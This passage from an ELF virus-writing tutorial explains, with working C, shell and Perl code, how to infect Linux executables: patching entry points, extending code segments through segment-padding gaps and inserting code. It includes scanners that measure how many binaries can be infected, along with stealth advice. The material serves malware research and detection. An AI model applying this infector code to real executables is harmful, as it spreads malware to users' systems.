In the body of a macro the character `#` works as "stringification" operator to macro arguments; it surrounds its operand with double quotes. Unfortunately `#` does not accept brackets around the operand. To maintain the precaution that arguments in macros are evaluated only inside brackets we need an intermediate macro, `QUOTE_EXP`.

The predefined macro `__LINE__` evaluates to the current line number. Since `#` works only on macro arguments and not arbitrary definitions we need an intermediate macro again. Unfortunately a simple `QUOTE_EXP(__LINE__)` evaluates to `"__LINE__"`. The intended result requires another level of mediation through `QUOTE_NUM`. It is not possible to stringify the value of symbols declared through `enum` or `const int`.

Source: src/one_step_closer/check.h

```
#define QUOTE_EXP(n)     #n
#define QUOTE_NUM(n)     QUOTE_EXP(n)

#define CHECK_BEGIN(trace, left, op, right, errno, type) \
  { type _left = (left); type _right = (right); \
    if (!(_left op _right)) { \
      TRACE_##trace(errno, \
      "CHECK: %s\n" \
      "CHECK: " __FILE__ "#" QUOTE_NUM(__LINE__) "\n" \
      "CHECK: (" QUOTE_EXP(left) ") " QUOTE_EXP(op) \
        " (" QUOTE_EXP(right) ")\n" \
      "CHECK: %ld " QUOTE_EXP(op) " %ld; %#lx " QUOTE_EXP(op) " %#lx\n", \
      t->clean_src, _left, _right, _left, _right);
#define CHECK_END       } }

#define CHECK(trace, left, op, right) \
  CHECK_BEGIN(trace, left, op, right, -1, long) return false; CHECK_END
```

```
#define CHECK_ERRNO(left, op, right) \
  CHECK_BEGIN(ERROR, left, op, right, errno, long) return false; CHECK_END

/*
 * wrappers for write(2) and lseek(2) that handle errors
 * used only in infectors and only on fd_dst
 */
#define CHECK_WRITE(buf, count) \
  CHECK_BEGIN(INFECT, count, ==, write(t->fd_dst, buf, count), \
    errno, long) return false; CHECK_END
#define CHECK_LSEEK(offset, whence) \
  CHECK_BEGIN(INFECT, -1, !=, lseek(t->fd_dst, offset, whence), \
    errno, long) return false; CHECK_END
```

5.9 4.9. main

Target file names are specified through `stdin`, not as command line arguments. Scanning crowded places like `/usr/bin` would hit the limit of `xargs`.

The differences between infectors and scanners show in target_action #1 and print_summary #1, but not in `main`. On success each implementation of `target_action` will output a single line per target. The file name used in that case is a bit simplified. If the value of environment variable `TEVWH_TMP` is the prefix of a target file name then this prefix is cut off from success reports. Anyway, this is relevant only to scanners since infectors don't read files in `TEVWH_TMP`.

Array `stat` is an ugly hack to gather arbitrary statistics without having to define a different interface for every program.

Source: src/one_step_closer/main.inc

```
int main()
{
  Target t;
  unsigned stat[5] = { 0 }; /* ugly hack to gather statistics */
  const char* tmp = getenv("TEVWH_TMP");
  size_t len_tmp = (tmp == 0) ? 0 : strlen(tmp);

  while(0 != fgets(t.src_file, sizeof(t.src_file), stdin))
  {
    size_t len = strlen(t.src_file);
    if (len <= 0)
      continue; /* ignore empty lines */

    /* check that all lines fit in buffer and are terminated with '\n' */
    if (t.src_file[len - 1] != '\n')
      return -1;
    t.src_file[len - 1] = 0; /* we don't need the '\n', though */

    t.clean_src = (len_tmp > 0 && 0 == memcmp(tmp, t.src_file, len_tmp))
    ? t.src_file + len_tmp + 1
    : t.src_file;

    stat[0]++; /* total number of files */
    if (target_open_src(&t) &&
        target_is_elf(&t) &&
        target_get_seg(&t) &&
        target_action(&t, stat))
    { stat[1]++; /* number of succesful files */ }
    target_close(&t);
  }
  return print_summary(stat);
}
```

5.10 4.10. target_open_src

Modifying a file in place, as opposed to writing a copy, is possible but difficult. And between first and final modification contents of the target is invalid. Imagine a worst-case scenario of a virus infecting `/bin/sh` being interrupted through a power failure (or emergency shutdown of a hectic admin).

There are a few approaches to change a file while copying.

- Use lseek(2), read(2) and write(2) to load pieces of the source into memory, patch them, and write them to destination. A lot of work. Can be really inefficient.
- Use read(2) to get the whole source file in one go. Requires more memory. But then even the largest executable files have only a few MB.
- Use mmap(2). In my humble opinion obviously the best way.

Using `MAP_PRIVATE` for argument *`flags`* of mmap(2) activates copy-on-write semantics. You can read and write as if you had chosen the read-in-one-go method, but the implementation is more efficient. Unmodified pages are loaded directly from the file. On low memory conditions these pages can be discarded without saving them in swap-space.

Source: src/one_step_closer/open_src.inc

```
bool target_open_src(Target* t)
{
  TRACE_DEBUG(-1, "target_open_src %s\n", t->src_file);

  /* target_close() needs a few clean values, initialize them first  */
  t->fd_dst = -1;
  t->image.v = 0;

  CHECK_ERRNO(0, <=, t->fd_src = open(t->src_file, O_RDONLY));
  CHECK_ERRNO((off_t)-1, !=, t->filesize = lseek(t->fd_src, 0, SEEK_END));

  CHECK(ERROR, t->filesize, >, sizeof(TEVWH_ELF_EHDR));
  t->aligned_filesize = ALIGN_UP(t->filesize);

  t->image.v = mmap(0, t->filesize, PROT_READ | PROT_WRITE, MAP_PRIVATE,
    t->fd_src, 0);
  CHECK_BEGIN(SCAN, t->image.v, !=, MAP_FAILED, errno, void*)
    return false;
  CHECK_END

  return true;
}
```

5.11 4.11. target_close

Source: src/one_step_closer/close.inc

```
void target_close(Target* t)
{
  TRACE_DEBUG(-1, "target_close\n");

  if (t->image.v != 0)
    munmap(t->image.v, t->filesize);
  close(t->fd_src);
  close(t->fd_dst);
}
```

Prev Home Next

6 5. One step closer to the edge

To take a significant step forward, you must
make a series of finite improvements.
Donald J. Atwood, General Motors

The first two functions are used by both scanners and infectors. The rest is specific to infectors but independent of infection methods.

6.1 5.1. target_is_elf

A visible virus is a dead virus. Breaking things is quite the opposite of invisibility. So before you even think about polymorphism and stealth mechanisms you should go sure your code does nothing unexpected. On the other hand exhaustive checks of target files will severely increase code size. And verifying signatures and other constant values is likely to make the virus code itself a constant signature. A better approach is to compare the target with the host executable currently running the virus. `SELF` is defined in target.h.

Finding a meaningful set of tests is an art in it itself. For example some executables of Red Hat 8.0 have an additional program header of type `GNU_EH_FRAME`. This means that `e_phnum` can differ between infector and target.

Source: src/one_step_closer/is_elf.inc

```
bool target_is_elf(Target* t)
{
  enum { CMP_SIZE = offsetof(TEVWH_ELF_EHDR, e_entry) };
  TEVWH_ELF_EHDR* ehdr = t->image.ehdr;

  TRACE_DEBUG(-1, "target_is_elf SELF=%p\n", SELF);

  CHECK(SCAN, 0, ==, memcmp(&ehdr->e_ident, &SELF->e_ident, CMP_SIZE));
  CHECK(SCAN, ehdr->e_phoff, ==, SELF->e_phoff);
  CHECK(SCAN, ehdr->e_ehsize, ==, SELF->e_ehsize);
  CHECK(SCAN, ehdr->e_phentsize, ==, SELF->e_phentsize);
  CHECK(SCAN, ehdr->e_shentsize, ==, SELF->e_shentsize);

  return true;
}
```

6.2 5.2. target_get_seg

Finding code and data segment in a loop is really overkill. Usual installations are populated by just two kinds of executables, statically or dynamically linked. An alternative implementation could just check whether the first program header is type `PT_PHDR` and assume a static executable otherwise. Anyway, this way we can do some general checks. See Segments[ABC] for details.

Source: src/one_step_closer/get_seg.inc

```
bool target_get_seg(Target* t)
{
  TEVWH_ELF_PHDR* phdr;
  unsigned nr_load;
  unsigned nr;
  TEVWH_ELF_PHDR* phdr_data;
  TEVWH_ELF_PHDR* phdr_code;

  TRACE_DEBUG(-1, "target_get_seg\n");

  t->phdr_dynamic = 0;
  t->phdr_note = 0;
  phdr = t->phdr = (TEVWH_ELF_PHDR*)(t->image.b + t->image.ehdr->e_phoff);
  nr_load = 0;
  for(nr = t->image.ehdr->e_phnum; nr > 0; nr--, phdr++)
  {
    switch(phdr->p_type)
    {
      case PT_LOAD: nr_load++; phdr_data = phdr; break;
      case PT_DYNAMIC: t->phdr_dynamic = phdr; break;
      case PT_NOTE: t->phdr_note = phdr; break;
    }
  }

  CHECK(SCAN, nr_load, ==, 2);
  CHECK(SCAN, (long)phdr_data, !=, 0);

  /* both segments lie right next to each other */
  t->phdr_code = phdr_code = phdr_data - 1;
  CHECK(SCAN, phdr_data->p_type, ==, PT_LOAD);
  CHECK(SCAN, phdr_code->p_type, ==, PT_LOAD);

  /* a code segment with trailing 0-bytes makes no sense */
  CHECK(SCAN, phdr_code->p_filesz, ==, phdr_code->p_memsz);

  t->end_of_cs = phdr_code->p_offset + phdr_code->p_filesz;
  t->aligned_end_of_cs = ALIGN_UP(t->end_of_cs);

  return true;
}
```

6.3 5.3. print_summary #1

Infectors provide only minimal statistics. See print_summary #2.

Source: src/one_step_closer/print_summary.inc

```
int print_summary(int stat[])
{
  int failed = stat[0] - stat[1];
  print_errno(-1, "files=%d; ok=%d; failed=%d\n",
    stat[0], stat[1], stat[0] - stat[1]
  );
  return failed;
}
```

6.4 5.4. target_action #1

This is the logic of all infectors based on the framework. Scanners do something different, see target_action #2.

Source: src/one_step_closer/action.inc

```
bool target_action(Target* t, int stat[])
{
  size_t code_size;

  TRACE_DEBUG(-1, "target_action\n");
  if (target_patch_entry_addr(t) &&
      target_patch_phdr(t) &&
      target_patch_shdr(t) &&
      target_open_dst(t) &&
      target_copy_and_infect(t, &code_size)
  )
  {
    TRACE_INFECT(-1, "%s ... wrote %u bytes, Ok\n", t->clean_src, code_size);
    return true;
  }
  return false;
}
```

6.5 5.5. target_patch_entry_addr #1

Modifying `e_entry` is the obvious way to activate inserted code. It is quite simple to detect, however. See The entry point[ABC] for possible improvements. Directory name `e1` means that this is the first (orthogonal) implementation. The issue is independent of the chosen infection method. Well, almost independent. Entry point obfuscation generally means that virus code is activated later. Some infection methods must clean up things or the target will crash, though.

Anyway, without this function the behavior of the target is not modified. If the infection methods prevents double infection by design, this can be used for vaccination in the true meaning of the word: Infection with a deactivated mutation makes the target immune against less friendly attackers.

Source: src/one_step_closer/e1/patch_entry_addr.inc

```
bool target_patch_entry_addr(Target* t)
{
  TRACE_DEBUG(-1, "target_patch_entry_addr\n");
  t->original_entry = t->image.ehdr->e_entry;
  t->image.ehdr->e_entry = target_new_entry_addr(t);
  TRACE_DEBUG(-1, "original_entry=%08x e_entry=%08x\n",
    t->original_entry, t->image.ehdr->e_entry);
  return true; /* this implementation can't fail */
}
```

6.6 5.6. target_open_dst

Infectors write a modified copy of the target into the current directory. The file name is build by appending the letters `_infected`. It really should be hard to overlook.

Source: src/one_step_closer/open_dst.inc

```
bool target_open_dst(Target* t)
{
  enum { FLAGS = O_WRONLY | O_CREAT | O_TRUNC };
  static const char suffix[] = "_infected";

  const char* base;
  size_t len;
  char* dst_filename;

  TRACE_DEBUG(-1, "target_open_dst %s\n", t->src_file);
  base = strrchr(t->src_file, '/');
  base = (base == 0) ? t->src_file : base + 1;

  len = strlen(base);

  /* can't use check for malloc since it returns void*, not int */
  dst_filename = malloc(len + sizeof(suffix));
  if (dst_filename == 0)
  {
    TRACE_ERROR(-1, "malloc(%u) failed", len + sizeof(suffix));
    return false;
  }
  memcpy(dst_filename, base, len);
  memcpy(dst_filename + len, suffix, sizeof(suffix));
  /* in case of error this is a memory leak (on dst_filename) */
  CHECK_ERRNO(0, <=, t->fd_dst = open(dst_filename, FLAGS, 0775));

  free(dst_filename);
  return true;
}
```

6.7 5.7. target_write_infection #1

This function is called from within target_copy_and_infect #1. This implementation of `target_write_infection` does not require a special infection method but is not insertable itself. See Doing it in C[ABC] for something more realistic. Anyway, `infection` is an array of bytes generated by Dressing up binary code. Constant `ENTRY_POINT_OFS` points to the location inside this array to patch with the original entry address.

Source: src/one_step_closer/write_infection.inc

```
bool target_write_infection(Target* t, size_t* code_size)
{
  enum { ADDR_SIZE = sizeof(((Target*)0)->original_entry) };
  enum { REST_OFS = ENTRY_POINT_OFS + ADDR_SIZE };

  TRACE_DEBUG(-1, "target_write_infection "
    "ENTRY_POINT_OFS=%d ADDR_SIZE=%d\n", ENTRY_POINT_OFS, ADDR_SIZE
  );

  /* i386: first byte is the opcode for "push" */
  CHECK_WRITE(infection, ENTRY_POINT_OFS);

  /* i386: next four bytes is the address to "ret" to */
  CHECK_WRITE(&t->original_entry, sizeof(t->original_entry));

  /* rest of infective code */
  CHECK_WRITE(infection + REST_OFS, sizeof(infection) - REST_OFS);

  *code_size = sizeof(infection);
  return true;
}
```

Prev Home Next
Dual use technology Scanners
The ELF Virus Writing HOWTO: Introduction
Prev Next

7 6. Scanners

One can search the brain with a microscope and not find the mind, and can search the stars with a telescope and not find God.

J. Gustav White

This is the platform independent part of Scanners[ABC].

After finding an exploitable peculiarity you need to verify its existence in a typical population of target executables. And then some peculiarities can be used only once. For example filling the segment gap on i386 removes the gap.

In the beginning scanners were written in `perl`. Scan entry point is the last remnant of that age. Unfortunately typical 64-bit platforms provide a `perl` with only 32-bit integers. The classic tool for calculations with large numbers is `bc`, a front-end to `dc`. But then classic `bc` on Solaris has only limited means of formatting output. I failed to write a `perl` script that writes a `bc` script that writes the output. Alternatively a bidirectional pipe opened by IPC::Open2(3pm) as described in perlipc(1) could be used to do calculations only. I chose a straight implementation in C instead, using the framework in Dual use technology.

7.1 6.1. Finding executables

We start the chapter by putting together a list of target executables. The "big" set consists of system files in the usual places like `/bin`. The "small" set comprises all infected targets created by the examples in this document. These two groups are further divided into statically or dynamically linked.

At the core of the following script is a combination of `file` and `sed`. The only special argument is the postfix required of target file names. A quoted empty string (`""`) accepts all files in target directories. The other typical value is `"_infected"`. This postfix is used by all examples in this document.

`GNU find` and `GNU xargs` provide a nice extension, `-print0` and `-0`, respectively. They are also available on FreeBSD. Another interesting option of `GNU xargs`, `-r`, has not made it to FreeBSD, though. Obviously we can't use any of this.

In this script `sed` does not write all output to `stdout`. Command "w" is used to write lines matching different patterns to different files. Since the file name is an argument to `find-exec.sh` the `sed` script has to be created inline. However, the syntax rules of `sed` require consecutive commands of a block to be separated by a line feed. And in a shell script single quotes are required to preserve line feeds in command lines. All together this results in a strange sequence of different quotes. The `TEVWH_` variables are shown in Variables prefixed with TEVWH_[ABC]. Output and a sample from `file` are at Finding executables[ABC].

Source: src/scanner/find-exec.sh

```
#!/bin/sh
dst=${1}; shift
postfix=${1}; shift

${TEVWH_PATH_ECHO} [${postfix}] "$@"
type="ELF ${TEVWH_ELF_ADDR_SIZE}-bit ${TEVWH_BYTE_ORDER}SB executable"

${TEVWH_PATH_FIND} "$@" -type f -perm -111 -name "*${postfix}" \
| ${TEVWH_PATH_XARGS} ${TEVWH_PATH_FILE} \
| ${TEVWH_PATH_SED} -ne \
"/:[[:space:]]*${type}.*statically linked.*/ {"'
        s///
        w '${dst}.static'
        b
}
'"/:[[:space:]]*${type}.*dynamically linked.*/ {"'
        s///
        w '${dst}.dynamic'
        b
}'

# finally output a line count
${TEVWH_PATH_WC} -l ${dst}.static ${dst}.dynamic
```

7.2 6.2. Driver scripts

The first kind of scanner parses the output of `objdump`. Since this output contains the file name of targets we can call `objdump` with multiple arguments (through `xargs`). Scan entry point is now the only species of this kind.

Source: src/scanner/objdump.sh

```
#!/bin/sh
src="${1}"
dst="${2}"
scanner="${3:-entry_point}"
flags="${4:--fh}"

[ -s "${src}" ] || exit 0
TEVWH_TMP=${TEVWH_TMP}; export TEVWH_TMP

${TEVWH_PATH_XARGS} ${TEVWH_PATH_OBJDUMP} "${flags}" \
< "${src}" \
| "./src/scanner/${scanner}/objdump.pl" \
| ${TEVWH_PATH_TEE} "${dst}.full" \
| ${TEVWH_PATH_TAIL} \
> "${dst}"
```

The second kind of scanners reads a plain list of target file names from `stdin`.

Source: src/scanner/plain.sh

```
#!/bin/sh
src=$1
dst=$2
scanner=${3:-segment_padding}

[ -s ${src} ] || exit 0
TEVWH_TMP=${TEVWH_TMP}; export TEVWH_TMP

${TEVWH_TMP}/scanner/${scanner} < ${src} 2>&1 \
| ${TEVWH_PATH_TEE} ${dst}.full \
| ${TEVWH_PATH_GREP} -v ' Ok$' \
| ${TEVWH_PATH_TAIL} \
> ${dst}
```

7.3 6.3. Scan entry point

This script reads the output of `objdump`. For each file the start of section `.text` should equal the entry point. This can be implemented through a simple string comparison, i.e. by checking hexadecimal digits one by one. See Sections[ABC] for an illustrative description based on a dumped ELF header.

Source: src/scanner/entry_point/objdump.pl

```
#!/usr/bin/perl -w
use strict;
```

```
my $tmp = $ENV{'TEVWH_TMP'} || die "TEVWH_TMP undefined.";

my $min = 0xFFFFFFFF; my $max = 0; my $detected = 0;
my $nr_files = 0; my $filename; my $entry_point;
while(<>)
{
  if (m#^(/[^:\s]+):#) { $nr_files++; $filename = $1; next; }
  if (m#^$tmp/([^:\s]+):#) { $nr_files++; $filename = $1; next; }
  if (m#start address 0x([0-9A-Fa-f]+)#) { $entry_point = lc($1); next; }
  if (m#^Idx Name#)
  {
    if (!defined($entry_point))
    {
      printf "%-44s has no entry point.\n", $filename;
      next;
    }
    my $start_of_text;
    while(<>)
    {
      if (m/^\s*\d+\s+.text\s+[0-9A-Fa-f]+\s+([0-9A-Fa-f]+)/)
      {
        $start_of_text = lc($1);
        last;
      }
    }
    $entry_point =~ s/^0+//; $start_of_text =~ s/^0+//;
    if ($entry_point ne $start_of_text)
    {
      $detected++;
      printf "%-44s ep=0x%-8s sot=0x%-8s\n",
        $filename, $entry_point, $start_of_text;
    }
  }
}
printf "files=%04d; detected=%04d\n", $nr_files, $detected;
```

7.4 6.4. Scan segments

7.4.1 6.4.1. target_action #2

This is a scanner to verify the existence of the gap used in Segment padding infection. The output at Scanners[ABC] is ambiguous. We can positively tell whether the gap exists or not. But we cannot say whether the gap never existed or is indeed occupied by an infection. On platforms other than i386 alignment is larger than page size. It is possible that a small infection taking just one page affects a single target more than once and still leaves a gap larger than the segment alignment. These cases go undetected by this script.

Anyway, `det_page` is the number of files detected to have a gap smaller equal one page (no further infection possible). `det_align` is the number of files where the gap is smaller than segment alignment (probably infected). Obviously these criteria overlap.

Source: src/scanner/segment_padding/action.inc

```
bool target_action(Target* t, int stat[])
{
  TEVWH_ELF_PHDR* phdr_code;
  size_t delta; /* distance between code and data segment (in memory) */

  TRACE_DEBUG(-1, "target_action\n");

  phdr_code = t->phdr_code;
  delta = phdr_code[1].p_vaddr - phdr_code[0].p_vaddr - phdr_code[0].p_memsz;
  /* counters were initialized to zero, real minimum is probably higher */
  if (stat[3] == 0 || delta < stat[3])
    stat[3] = delta; /* minimum */
  if (delta > stat[4])
    stat[4] = delta; /* maximum */

  CHECK_BEGIN(SCAN, delta, >, TEVWH_ELF_ALIGN, -1, long)
    stat[2]++;
  CHECK_END
  CHECK(SCAN, delta, >, TEVWH_ELF_PAGE_SIZE)

  TRACE_SCAN(-1, "%s ... delta=%#x, Ok\n", t->clean_src, delta);
  return true;
}
```

7.4.2 6.4.2. print_summary #2 (segments)

Outputs the statistics of target_action #2.

Source: src/scanner/segment_padding/print_summary.inc

```
int print_summary(int stat[])
{
  print_errno(-1, "files=%d; ok=%d; det_page=%d; det_align=%d; "
    "min=0x%04x; max=0x%04x\n",
    stat[0], stat[1], stat[0] - stat[1], stat[2], stat[3], stat[4]
  );
  return 0;
}
```

7.5 6.5. Food for segment padding

The obvious way to test an infected shell is a shell script. By calling other infected executables from this script we can test a whole set in one go. Apart from the shell this means one statically and one dynamically linked file. But then we can't just start any program on chance. For demonstration purposes it would be nice if targets could print a short message, e.g. a version number. We start with a list of known command lines.

Data: src/scanner/mkinfect.lst

```
ash -c 'echo $$'
ash.static -c 'echo $$'
awk -W version | sed 1q
bash -version
crle
csh -fc 'echo $$'
date
ldd -h | sed 1q
mt --version
perl --version | sed 2q
pvs 2>&1
rpm --version
sed --version | sed 1q
sln
sync
uname
tcsh -c 'echo $$'
```

After some pre-processing this list can be used with **`grep -f`** to search target lists for known command lines. A perfect test set consists of three targets from three sources, `find-shell`, `big.dynamic.ok`, `big.static.ok`. If no infectable shell is found we can take the standard shell to drive the test script. In that case the two other target source can fill up any remaining space. The relative order in these lists shall be maintained. And of course working on duplicates is disgraceful.

grep -v -f can weed out duplicates. But we need to watch out for the special case of an empty pattern file, e.g. by checking with **test -s**. If the argument to **grep -f** is an empty file then this matches all lines. Together with `-v` this rejects all lines.

All together the performance is rather bad, especially since `grep` will repeatedly process the same input. An implementation in `perl` can store all intermediate results in memory and beats all shell based solutions by far.

Source: src/scanner/mkinfect.pl

```
#!/usr/bin/perl -sw
use strict;

my %result; my @result;

sub add_result($)
{
  my $line = shift;
  return if (!defined($line));
  return if (defined($result{$line}));
  push @result, $line; $result{$line} = $#result;
  return if ($#result < 2);
  for my $result(@result) { print $result; }
  exit 0;
}

open(FILE, "< $::out/scanner/$::scanner/find-shell") || die $!;
if (defined(my $line = <FILE>)) { add_result $line; }

# compile a function 'foobar' that matches one regular expression
open(LST, "< ./src/scanner/mkinfect.lst") || die $!;
my $regex = 'bin/(' . join('|', map { (split)[0] } <LST>) . ')$';
$regex =~ s#([\/\.])#\\$1#g;
eval 'sub foobar { $_[0] =~ m/' . $regex . '/; }'; die $@ if $@;

open(STATIC, "< $::out/scanner/$::scanner/big.static.ok") || die $!;
my @static = grep { foobar($_) } <STATIC>;
open(DYNAMIC, "< $::out/scanner/$::scanner/big.dynamic.ok") || die $!;
my @dynamic = grep { foobar($_) } <DYNAMIC>;

for(my $i = 0; $i < 4; $i++)
  { add_result shift(@static); add_result shift(@dynamic); }
```

Output is at Food for segment padding[ABC].

7.6 6.6. Scan file size

7.6.1 6.6.1. target_action #3

Source: src/scanner/filesize/action.inc

```
bool target_action(Target* t, int stat[])
{
  TEVWH_ELF_EHDR* ehdr;
  TEVWH_ELF_SHDR* shdr;
  size_t end_of_shdr_tab;
  size_t end_of_strtab;

  TRACE_DEBUG(-1, "target_action\n");
  ehdr = t->image.ehdr;
  CHECK(SCAN, ehdr->e_shnum, >, 0);
  end_of_shdr_tab = ehdr->e_shoff + ehdr->e_shentsize * ehdr->e_shnum;

  shdr = (TEVWH_ELF_SHDR*)((char*)t->image.ehdr + ehdr->e_shoff);
  shdr += ehdr->e_shnum - 1;
  /*
   * This naive check does not work. On Solaris I found executables
   * where the last section is ".comment" of type SHT_PROGBITS.
   *
   * CHECK(SCAN, shdr->sh_type, ==, SHT_STRTAB);
   */
  end_of_strtab = shdr->sh_offset + shdr->sh_size;

  if (end_of_shdr_tab > end_of_strtab)
    CHECK(SCAN, end_of_shdr_tab, ==, t->filesize)
  else
    CHECK(SCAN, end_of_strtab, ==, t->filesize);

  TRACE_SCAN(-1, "%s ... %u Ok\n", t->clean_src, t->filesize);
  return true;
}
```

7.6.2 6.6.2. print_summary #3 (file size)

Outputs the statistics of target_action #3.

Source: src/scanner/filesize/print_summary.inc

```
int print_summary(int stat[])
{
  print_errno(-1, "files=%d; ok=%d; detected=%d\n",
    stat[0], stat[1], stat[0] - stat[1]
  );
  return 0;
}
```

Prev Home Next
One step closer to the edge Segment padding infection
The ELF Virus Writing HOWTO: Introduction
Prev Next

8 7. Segment padding infection

I am extremely surprised and pleased. I'm surprised because as far as I am concerned I have always done what I wanted to do and followed my own way. Really, the honor has as much to do with Paddington as myself.
Michael Bond, creator of "Paddington Bear", on receiving an OBE

This infection method got a lot of press under the name Remote shell trojan. It is based on a peculiarity described in the platform specific part, Segment padding infection[ABC]. On i386 its future is bleak. It seems that the gap is being actively closed. On Slackware 8.1 and Red Hat 8.0 `/bin/bash` is not vulnerable anymore. On other platforms the gap is much larger and will probably remain.

Table 1. Platform specific defaults of ELF

Platform	Address size	Byte order	Base address	_SC_PAGESIZE	Alignment	Pages below base
alpha	64	L	120000000	2000	10000	589824
i386	32	L	08048000	1000	1000	32840
sparc	32	M	00010000	1000	10000	16

`_SC_PAGESIZE` is a hardware constant and nothing a compiler can choose. On the other hand column "Alignment" varies from challengingly tiny to exceedingly large. A quote from the ELF specification (values are specific to i386): [4]

> […] executable and shared object files must have segment images whose file offsets and virtual addresses are congruent, modulo the page size. Virtual addresses and file offsets for the SYSTEM V architecture segments are congruent modulo 4 KB (0x1000) or larger powers of 2. Because 4 KB is the maximum page size, the files will be suitable for paging regardless of physical page size. […]

This means that for every segment the last three hexadecimal digits of `Offset` equal the last three hexadecimal digits of `VirtAddr` in every healthy output of `readelf` and `objdump`. So unless we change `VirtAddr` as well - which means enormous trouble like relocation of every access to a global variable - we are stuck with allocating memory in chunks of `_SC_PAGESIZE`.

8.1 7.1. _SC_PAGESIZE

getpagesize(2) sounds like the obvious way to retrieve this value. But not all systems have it, and modern standards prefer sysconf(3) instead.

Source: src/segment_padding/sysconf.c

```
#include <stdio.h>
#include <unistd.h>

#define QUERY(n)        { #n, n }

struct Query { const char* name; int key; } Query[] =
{
  QUERY(_SC_CLK_TCK),
  QUERY(_SC_VERSION),
  QUERY(_SC_PAGESIZE),
#ifdef __linux__
  QUERY(_SC_PHYS_PAGES),
  QUERY(_SC_AVPHYS_PAGES),
#endif
  { 0, 0 }
};

int main()
{
  const struct Query* q = Query;
  for(; q->name != 0; q++)
    printf("%s=%ld\n", q->name, sysconf(q->key));
  return 0;
}
```

Obviously the output is platform dependent, see Segment padding infection[ABC]. The lesson to learn is that Using free space resulting from alignment is problematic on i386 but comfortable on other platforms.

8.2 7.2. The plan

1. Insert our code between code segment and data segment.
2. Modify inserted code to jump to original entry point afterwards.
3. Change entry point to start of our code.
4. Modify program header
   a. Include increased amount of code in entry of code segment.
   b. Move all following entries down the file.
5. Modify section header
   a. Include trailing code in last section of code segment (should be `.rodata`).
   b. Move all following sections down the file.

This setup has a few problems.

- Storage can be acquired only in multiples of `_SC_PAGESIZE`. This makes the increment in file size of the target quite noticeable.
- Code size is limited. On i386 the segment alignment equals the page size, so we rely on a the existence of a strange extra gap to get a maximum of one page. On other platforms the alignment is much larger, so we have a good chance to get at least one page even without the extra gap.
- Maximum code size is further restricted by code alignment. The i386 and descendants can execute misaligned code, though with a performance penalty; and this can be detected at run time by the operating system. Other hardware does not allow it at all.
- On i386 infected executables will be detected by Scan segments. Unfortunately this crude method cannot tell whether the gap was never there or is really occupied by an infection.

8.3 7.3. target_new_entry_addr #1

Source: src/segment_padding/new_entry_addr.inc

```
TEVWH_ELF_OFF target_new_entry_addr(const Target* t)
{
  TRACE_DEBUG(-1, "target_new_entry_addr\n");

  /* matches with aligned_end_of_cs */
  return ALIGN_UP(t->phdr_code->p_vaddr + t->phdr_code->p_filesz);
}
```

8.4 7.4. target_patch_phdr #1

Source: src/segment_padding/patch_phdr.inc

```
bool target_patch_phdr(Target* t)
{
  TEVWH_ELF_PHDR* phdr_code;
  size_t delta; /* distance between code and data segment (in memory) */
  TEVWH_ELF_OFF end_of_cs;
  TEVWH_ELF_PHDR* phdr;
  unsigned nr;

  TRACE_DEBUG(-1, "target_patch_phdr\n");

  phdr_code = t->phdr_code;
  delta = phdr_code[1].p_vaddr - phdr_code[0].p_vaddr - phdr_code[0].p_memsz;
  CHECK(DEBUG, TEVWH_ELF_PAGE_SIZE, <, delta);

  phdr_code[0].p_filesz += TEVWH_ELF_PAGE_SIZE;
  phdr_code[0].p_memsz += TEVWH_ELF_PAGE_SIZE;

  end_of_cs = t->end_of_cs;
  phdr = t->phdr;
  for(nr = t->image.ehdr->e_phnum; nr > 0; nr--, phdr++)
  {
    /* ">=" instead of ">" is necessary at least on sparc-suse7.3 */
    if (phdr->p_offset >= end_of_cs)
      phdr->p_offset += TEVWH_ELF_PAGE_SIZE;
  }
  return true;
}
```

8.5 7.5. target_patch_shdr #1

Source: src/segment_padding/patch_shdr.inc

```
bool target_patch_shdr(Target* t)
{
  TEVWH_ELF_SHDR* shdr;
  TEVWH_ELF_OFF end_of_cs;
  unsigned nr;

  TRACE_DEBUG(-1, "target_patch_shdr\n");

  shdr = (TEVWH_ELF_SHDR*)(t->image.b + t->image.ehdr->e_shoff);
  end_of_cs = t->end_of_cs;
  for(nr = t->image.ehdr->e_shnum; nr > 0; nr--, shdr++)
  {
    if (shdr->sh_offset >= end_of_cs)
    {
      /* move all following sections down */
      shdr->sh_offset += TEVWH_ELF_PAGE_SIZE;
    }
    else if (shdr->sh_offset + shdr->sh_size == end_of_cs)
    {
      /* increase length of last section of code-segment (.rodata) */
      shdr->sh_size += TEVWH_ELF_PAGE_SIZE;
    }
  }
  t->image.ehdr->e_shoff += TEVWH_ELF_PAGE_SIZE;
  return true; /* this implementation can't fail */
}
```

8.6 7.6. target_copy_and_infect #1

Source: src/segment_padding/copy_and_infect.inc

```
bool target_copy_and_infect(Target* t, size_t* code_size)
{
  TRACE_DEBUG(-1, "target_copy_and_infect\n");

  /* first part of original target */
  CHECK_WRITE(t->image.b, t->end_of_cs);

  TRACE_DEBUG(-1, "end_of_cs=%08x aligned_end_of_cs=%08x\n",
    t->end_of_cs, t->aligned_end_of_cs);

  CHECK_LSEEK(t->aligned_end_of_cs, SEEK_SET);
  if (!target_write_infection(t, code_size))
    return false;
  CHECK_LSEEK(t->end_of_cs + TEVWH_ELF_PAGE_SIZE, SEEK_SET);

  /* rest of original target */
  CHECK_WRITE(t->image.b + t->end_of_cs, t->filesize - t->end_of_cs);
  return true;
}
```

Prev Home Next
Scanners Additional code segments
The ELF Virus Writing HOWTO: Introduction
Prev Next

9 8. Additional code segments

It is common sense to take a method and try it. If it fails, admit it frankly and try another. But above all, try something.

Franklin D. Roosevelt

This is the platform independent part of Additional code segments[ABC].

Adding a second code segment to an executable is a very simple infection method. Doing that by overwriting an otherwise unused program header makes the method even simpler. Another nice aspect is that it imposes no size limit on inserted code. Unfortunately the infection is trivial to detect. Too trivial, in fact. target_get_seg will bitterly complain about about three `LOAD` segments instead of two, so all scanners based on the framework will detect it. But then even the untrained eye can spot the difference in the output of `readelf`.

9.1 8.1. The NOTE program header

The ELF header includes a field called `e_machine`, a single integer value. It distinguishes different hardware, but not different operating systems. For example, mechanics of system calls differ between Linux/i386 and FreeBSD/i386. To describe these fine details a separate program header of type `PT_NOTE` is used. NetBSD documentation includes a good description in chapter "Vendor-specific ELF Note Elements". [1] And LSB has this to say: [2]

> Every executable shall contain a section named `.note.ABI-tag` of type `SHT_NOTE`. This section is structured as a note section as documented in the ELF spec. The section must contain at least the following entry. The name field (`namesz`/`name`) contains the string `"GNU"`. The type field shall be 1. The `descsz` field shall be at least 16, and the first 16 bytes of the `desc` field shall be as follows.
>
